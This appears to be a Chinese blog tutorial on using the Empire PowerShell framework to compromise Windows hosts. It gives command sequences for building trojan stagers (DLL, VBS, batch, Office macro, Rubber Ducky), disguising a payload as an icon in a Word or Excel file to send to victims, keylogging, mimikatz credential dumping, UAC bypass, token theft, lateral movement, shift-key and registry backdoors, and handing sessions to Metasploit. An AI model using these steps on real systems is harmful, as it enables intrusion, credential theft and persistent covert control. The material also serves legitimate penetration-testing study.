Empire使用

Empire是一款针对windows平台的,使用powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成,提权到渗透维持的一系列功能。 无需powershell.exe就可运行Powershell代理的功能,还可以快速再后期部署漏洞利用模块,其内置模块有键盘记录,mimikatz,绕过UAC,内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于Metasploit,是一个基于Powershell的远程控制木马。

全部功能参照:http://www.powershellempire.com/

安装:

git clone https://github.com/EmpireProject/Empire.git

接着

1
2
3
4
cd Empire
cd setup
sudo ./install.sh
./empire #即可打开

和metasploit使用原理都是一样的,都是先设置一个监听,接着生成木马,然后在目标主机中运行该木马,我们的监听就会连接上返弹回来的代理

建立监听:

输入Listeners 进入监听线程界面 可以输入help查看帮助

接着输入uselistener来设置采用何种模式,通过双击tab键可以看到一共有7中模式:

dbx,http,http_com,http_foreign,http_hop,http_mapi,meterpreter

使用http监听模式:

uselistener http

然后输入 info 查看具体参数

通过set命令设置参数

1
2
3
4
5
set Name  shuteer
set Host XX.XX.XXX.XX:XXX (Empir所在服务器IP)

HOST是我们VPN的IP,所以就不做修改了,修改完后可以再次输入info,查看设置是否正确
然后输入execute即可监听

输入back命令即可返回上一层listeners界面

输入list命令可以列出当前激活的listener

使用kill命令就能删除该监听

agents下:

kill all 杀死所有进程

remove all 删除所有

生成木马:

输入usestaget来设置采用何种模块,同样双击tab键,可以看到共26个模块。

其中multi为通用模块,osx是mac操作系统模块,剩下的就是windows的模块。

  • DLL木马

    想要设置dll木马,首先输入 usestager windows/dll

    然后输入info命令查看详细参数。

    1
    2
    3
    set Listener shuteer
    execute #生成木马
    就会在tmp目录下生成名为launcher.dll木马
  • launcher

    如果只需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入:

    1
    launcher    <language><listerName>

    将很快生成一行base64编码代码,这里输入back命令回到listener下

    然后输入launcher powershellshuteer(当前设置的listener名字)命令来生成一个payload.

    1
    launcher  powershell shuteer     #生成powershell代码
  • launcher_vbs木马

    输入usestager windows/launcher_vbs

    输入info 查看设置参数

    1
    2
    set listener shuteer
    execute #生成的文件在tmp目录下

    最后输入back回到listener开始监听

    如果要生成powershell代码,设置完listener后不输入execute,直接输入back,然后输入launcher powershll shuteer即可

1
launcher   powershell shuteer
  • launcher_bat木马

    usestager windows/launcher_bat

    info

    1
    2
    set listener  shuteer
    execute

    为了增加迷惑性,也可以将该批处理文件插入一个offic文件中,这里随便找一个word或者excel文件中,单击”插入”–>”对象”–>”由文件创建-“->

“浏览”(选择刚刚生成的批处理文件,然后勾选”显示为图标”)

在”更改图标”界面里,我们可以选择一个图标,这里建议使用微软的Excel,Word或者PowerPoint图标

选择完之后,点击确定,该对象就会插入到文件中

将该文件发给别人,一旦打开该文件,并运行了内嵌的批处理文件,就会得到这个主机的权限

360安全卫士会报告发现宏病毒

Macro木马:

要想设置Macro木马,首先需要输入usestager windows/macro命令然后输入info命令插卡详细信息:

1
2
Set listener  shuteer
Execute

默认会生成一个宏,储存在/tmp/macro文件中

然后需要将生成的宏添加到一个Office文档里面,这里打开一个word文件,单击‘视图’ 标签,选择 ‘宏’ ,在‘宏的位置’ 选择当前文件,宏名可以任意起一个,然后单击 ”创建“ 按钮

单击 ”创建“ 按钮以后会弹出VB编辑界面,将原来的代码删除,把生成的宏复制进去,另存为一个新文件。

最后将这个修改果的word拷到目标机上执行,打开后会提示一个安全警告,这里需要使用一些社会工程学的策略。

Ducky:

输入 usestager windows/ducky

然后 info 查看帮助信息

1
2
set listener shuteer
execute

执行完就可以生成用于烧制的代码

将该代码烧制至”小黄鸭“中,插入目标用户的计算机,就可以反弹回来。

https://www.freebuf.com/geek/141839.html

连接主机的基本使用:

基本使用

1.列出以连接的主机

agents

然后使用 interact 连接主机
image-20240107212959717

输入help 可以查看帮助信息

2.一些基本命令

  • pwd 显示当前目录

  • getpid 查看当前进程
    image-20240107213007073

  • 输入help agentcmds 可以看到可供使用的常用命令
    image-20240107213016365

  • 在使用部分cmd命令时,要使用”shell +命令”的格式

  • 内置mimikatz但需要管理员权限
    输入mimikatz
    然后输入 creds命令可以自动过滤,整理出获取的用户密码
    image-20240107213026232

导出凭证:creds export 目录/xx

  • 在实际渗透过程中,由于种种原因,总会有部分主机丢失或失效,可以输入
    list stale 命令列出已经丢失的反弹主机,然后输入remove stale 命令删去已经失效的主机
    image-20240107213034838

信息收集

可以使用search module 命令搜索需要使用的模块

通过使用 usemodule collection 然后Tab查看完整的列表

1.截屏

1
2
3
4
5
6
usemodule collection/screenshot

info

execute
back

2.键盘记录

1
2
3
4
usemodule collection/keylogger
info
execute
back

如果要持续进行键盘记录,可以把当前监控模块置于后台,输入jobs即可显示当前在后台的记录

如果要停止记录输入

jobs kill jobs_name

3.查找共享

1
2
3
usemodule situational_awareness/network/powerview/share_finder
execute
back

4.收集目标主机信息

该模块可以查看本机用户。域组成员,最后的密码设置时间,剪贴板内容,系统基本信息,网络适配器等

1
2
usemodule situational_awareness/host/winenum
execute

5.列举系统信息(重点)

几乎列举了系统中的所有有用信息,如目标主机时间日志,应用程序控制策略日志,包括RDP登录信息,powershell脚本运行和保存的信息等。在运行这个脚本时需要管理员权限

1
2
usemodule situational_awareness/host/computerdetails
execute

6.ARP扫描

1
2
3
usemodule  situational_awareness/network/arpscan
set Range 192.168.31.0-192.168.31.254 #设置扫描网段
execute

7.DNS信息收集

在内网中,知道所有及其的Hostname和对应的IP地址对分析内网结构至关重要

1
2
usemodule situational_awareness/network/reverse_dns
execute

如果主机有两张网卡,Empire也会显示出来。方便我们寻找边界主机

8.查找域管登录服务器IP

在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去。

1
2
该模块就是用来查找域管登录的机器,可以清除的看到那个用户登录了那台主机
usemodule situational_awareness/network/powerview/user_hunter

9.本地管理组访问模块

1
usemodule situational_awareness/network/powerview/find_localadmin_access

10.获取域控制器

1
usemodule situational_awareness/network/powerview/get_domain_controller

image-20240107213044907

得知当前域服务器名为DC

在验证能否访问域服务器DC的“C$’’

1
shell dir \\DC\C$

image-20240107213054066

权限提升

  • Bypass UAC

    输入:

    1
    2
    3
    4
    usemodule privesc/bypassuac
    info
    set Listener .....
    execute

    然后会发现上线了一个新的反弹

    back

    agents

    带星号的即为权限提升成功的agents

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pKc9smF-1619775511101)(../typora/pic/image-20201226224409704.png)]

  • bypassuac_wscript

    这个模块的大概原理是使用c:\Windows\wscript.exe执行payload,即绕过UAC实现管理员权限执行Payload,只适用于系统位Windows 7的目标主机,目前尚没有对应的补丁,部分杀毒软件会有提示。

    输入:

    1
    2
    3
    4
        usemodule privesc/bypassuac_wscript
    info
    set Listener .....
    execute

    带星号表示权限提升成功

PowerUp

Empire内置了PowerUp的部分工具,用于权限提升,主要有Windows错误系统配置漏洞,Windows Services漏洞,AlwaysInstallElevated漏洞等8种提权方式。
image-20240107213106262
输入:

1
usemodule privesc/powerup

1.allchecks

查找系统中的漏洞,和powerSploit中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞

1
2
usemodule privesc/powerup/allchecks
execute

一般会列出一些提权方法:

可以尝试bypass UAC来提权

接着输入bypassuac root1(listener 名字)

星号表示提权成功

GPP

在域里常会启用组策略首选项来更改本地密码,便于管理和部署映像,其缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取部署信息。GPP是采用AES 256加密的

输入以下命令即可查看

1
usemodule privesc/gpp

横向渗透

  • 令牌窃取

    在获取服务器权限后,可以使用内置的Mimikatz获取系统密码,执行完毕后输入creds

    命令即可查看Empire列举的密码。

    可以发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向渗透,首先要窃取身份

    使用pth命令

    这里ID就是creadID号
    image-20240107213118287

    image-20240107213129942

可以看到执行完之后显示PID进程为2040

使用steal_token PID命令即可窃取该身份

同样可以输入ps查看是否有域用户的进程

如果有同样通过 steal_token命令来窃取这个令牌

1
steal_token  PID

输入 revtoself 命令可以将令牌权限恢复到原来的状态。

  • 会话注入

    1
    2
    3
    usemodule management/psinject
    set Listener
    set ProcId #设置进程id

    该模块进行进程注入,获取权限。

    设置Listener 和Proc ID这两个参数运行反弹shell

image-20240107213141124

  • Invoke-PsExec

缺点:是能被基本的杀毒软件检测并留下日志,而且需要开启admiin$445端口共享

优点:是可以直接返回system权限。

该模块的前提是已经获得本地管理员权限,甚至域管理员账户,然后以此进一步持续渗透整个内网。

1
2
3
4
usemodule lateral_movement/invoke_psexec
set Listener #设置监听名
set ComputerName #设置机器名
execute

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EiuWuqes-1619775582049)(../typora/pic/image-20201227125717808.png)]

  • Invoke -WMI

    比Ps-Exec安全,所有windows系统都启用了该服务,不会写入日志。极高隐蔽性。如果目标机开启了防火墙WMI将无法连接目标机器。

    1
    2
    3
    4
    usemodule lateral_movement/invoke_wmi
    set Listener #设置监听名
    set ComputerName #设置机器名
    execute
  • PowerShell Remoting

    Powershell Remoting是Powershell 的远程管理功能。开启windows远程管理服务WinRM系统会监听5985端口,该服务默认在windows server2012中是开启的,在windows server 2003/2008/2008 R2中需要手动启动。

    1
    2
    3
    4
       usemodule lateral_movement/invoke_paremoting
    set Listener #设置监听名
    set ComputerName #设置机器名
    execute

后门

后门最主要的目的就是方便以后再次秘密进入或者控制系统

  • 权限持久性劫持shift后门

    输入:

    1
    2
    3
    4
    5
    usemodule lateral_movement/invoke_wmi_debugger
    set Listener #设置监听名
    set ComputerName #设置机器名
    set TargetBinary sethc.exe
    execute

    运行完后再目标主机远程登录窗口按5次shift键即可触发后门。

    sethc.exe可以替换成以下这几项:

    1.Utilman.exe(使用Win+U组合键启动)

    2.osk.exe(屏幕上的键盘:使用win+U启动组合键)

    3.Narrator.exe(启动讲述人:使用win+U启动组合键)

    4.Magnify.exe(放大镜:使用Win+U组合键启动)

  • 注册表注入后门

    1
    2
    3
    usemodule persistence/userland/registry
    set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
    execute

    当我们登录系统时木马就会运行,服务端反弹成功。

  • 计划任务获得系统权限

    到了具体的时间将成功返回一个高权限shell,再实际渗透模块中运行该模块时,杀毒软件会有提示

    1
    2
    3
    4
    usemodule persistence/elevated/schtasks
    set Listener wei
    set DailyTime 15:36
    execute

    这里如果把 set RegPath改为 set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run

    那么就会再15:36添加一个注册表注入后门。

Empire反弹回Metasploit

在实际渗透中,当拿到Webshell上传的MSF客户端无法绕过目标主机的杀毒软件时,可以使用Powershell来绕过,也可以执行Empire的payload来绕过,成功之后在使用Empire的模块将其反弹回Metasploit

1
2
3
4
usemodule code_execution/invoke_shellcode
set Lhost #设置msf所在主机的IP
set Lport #设置端口
execute

在msf上设置监听:

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost #一般不用管设置
set lport #一般不用管设置
set Shellcode #自定义shellcode注入
run

Empire使用
http://idea-oss.github.io/2022/06/15/Empire使用/Empire使用/
作者
iDea
发布于
2022年6月15日
许可协议